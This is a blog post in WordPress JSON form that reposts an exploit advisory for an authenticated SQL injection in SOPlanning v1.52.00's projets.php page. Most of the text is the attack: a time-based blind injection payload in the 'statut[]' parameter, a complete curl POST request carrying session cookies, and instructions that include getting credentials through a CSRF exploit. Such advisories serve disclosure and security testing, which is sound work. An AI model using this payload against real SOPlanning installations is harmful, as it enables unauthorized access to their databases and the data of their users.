Exploit Title: SOPlanning v1.52.00 ‘projets.php’ SQLi<\/p>\n
Application: SOPlanning<\/p>\n
Version: 1.52.00<\/p>\n
Date: 4\/22\/24<\/p>\n
Exploit Author: Joseph McPeters (Liquidsky)<\/p>\n
Vendor Homepage: https:\/\/www.soplanning.org\/en\/<\/p>\n
Software Link: https:\/\/sourceforge.net\/projects\/soplanning\/<\/p>\n
Tested on: Linux<\/p>\n
CVE: Not yet assigned<\/p>\n
Description: SOPlanning v1.52.00 is vulnerable to Authenticated SQL Injection via the ‘projects.php’ page.<\/p>\n
Instructions: Authenticate to the host, the credentials can be obtained using a CSRF exploit (more info included). Once valid credentials are obtained use either a GET\/POST request to send the valid parameters that equal to valid SQLi.<\/p>\n
Vulnerable request parameters for request to “\/www\/projets.php”:<\/p>\n
filtreGroupeProjet=1&statut[]=todo’+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+’Liquidsky’=’Liquidsky&rechercheProjet=test<\/p>\n
The above parameters can be sent as either a valid GET\/POST request to trigger the SQLi.<\/p>\n
Example Curl Request To Re-Test SQLi:<\/p>\n
curl -i -s -k -X $’POST’ \\
-H $’Host: 127.0.0.1′ -H $’User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0′ -H $’Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8′ -H $’Accept-Language: en-US,en;q=0.5′ -H $’Accept-Encoding: gzip, deflate, br’ -H $’Content-Type: application\/x-www-form-urlencoded’ -H $’Content-Length: 130′ -H $’Origin: http:\/\/127.0.0.1<http:\/\/127.0.0.1\/>’ -H $’Connection: close’ -H $’Referer: http:\/\/127.0.0.1\/soplanning\/www\/projets.php’ -H $’Upgrade-Insecure-Requests: 1′ -H $’Sec-Fetch-Dest: document’ -H $’Sec-Fetch-Mode: navigate’ -H $’Sec-Fetch-Site: same-origin’ -H $’Sec-Fetch-User: ?1′ \\
-b $’dateDebut=23\/04\/2024; dateFin=23\/06\/2024; xposMoisWin=0; xposJoursWin=0; yposMoisWin=0; yposJoursWin=0; yposProjets=33; PHPSESSID=ovpbclvbc87uh7anfbq2luf9bi; soplanningplanning_=hhrtf0rgs562vm8rhn5i641481; baseLigne=users; baseColonne=jours; afficherTableauRecap=1; masquerLigneVide=0; statut_projet=%5B%22abort%22%2C%22archive%22%2C%22done%22%2C%22progress%22%2C%22todo%22%5D’ \\
–data-binary $’filtreGroupeProjet=1&statut[]=todo\\’+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+\\’Liquidsky\\’=\\’Liquidsky&rechercheProjet=test’ \\
$’http:\/\/127.0.0.1\/soplanning\/www\/projets.php’<\/p>\n
Note: Cookies need to be authenticated and request needs to be valid for valid SQLi. This curl request can be used with a proxy to reconstruct a valid request.<\/p>\n","protected":false},"excerpt":{"rendered":"
Exploit Title: SOPlanning v1.52.00 ‘projets.php’ SQLi Application: SOPlanning Version: 1.52.00 Date: 4\/22\/24 Exploit Author: Joseph McPeters (Liquidsky) Vendor Homepage: https:\/\/www.soplanning.org\/en\/ Software Link: https:\/\/sourceforge.net\/projects\/soplanning\/ Tested on: Linux CVE: Not yet assigned Description: SOPlanning v1.52.00 is vulnerable to Authenticated SQL Injection via the ‘projects.php’ page. Instructions: Authenticate to the host, the credentials can be obtained using a …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56648","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56648","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56648"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56648\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56648"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56648"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56648"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}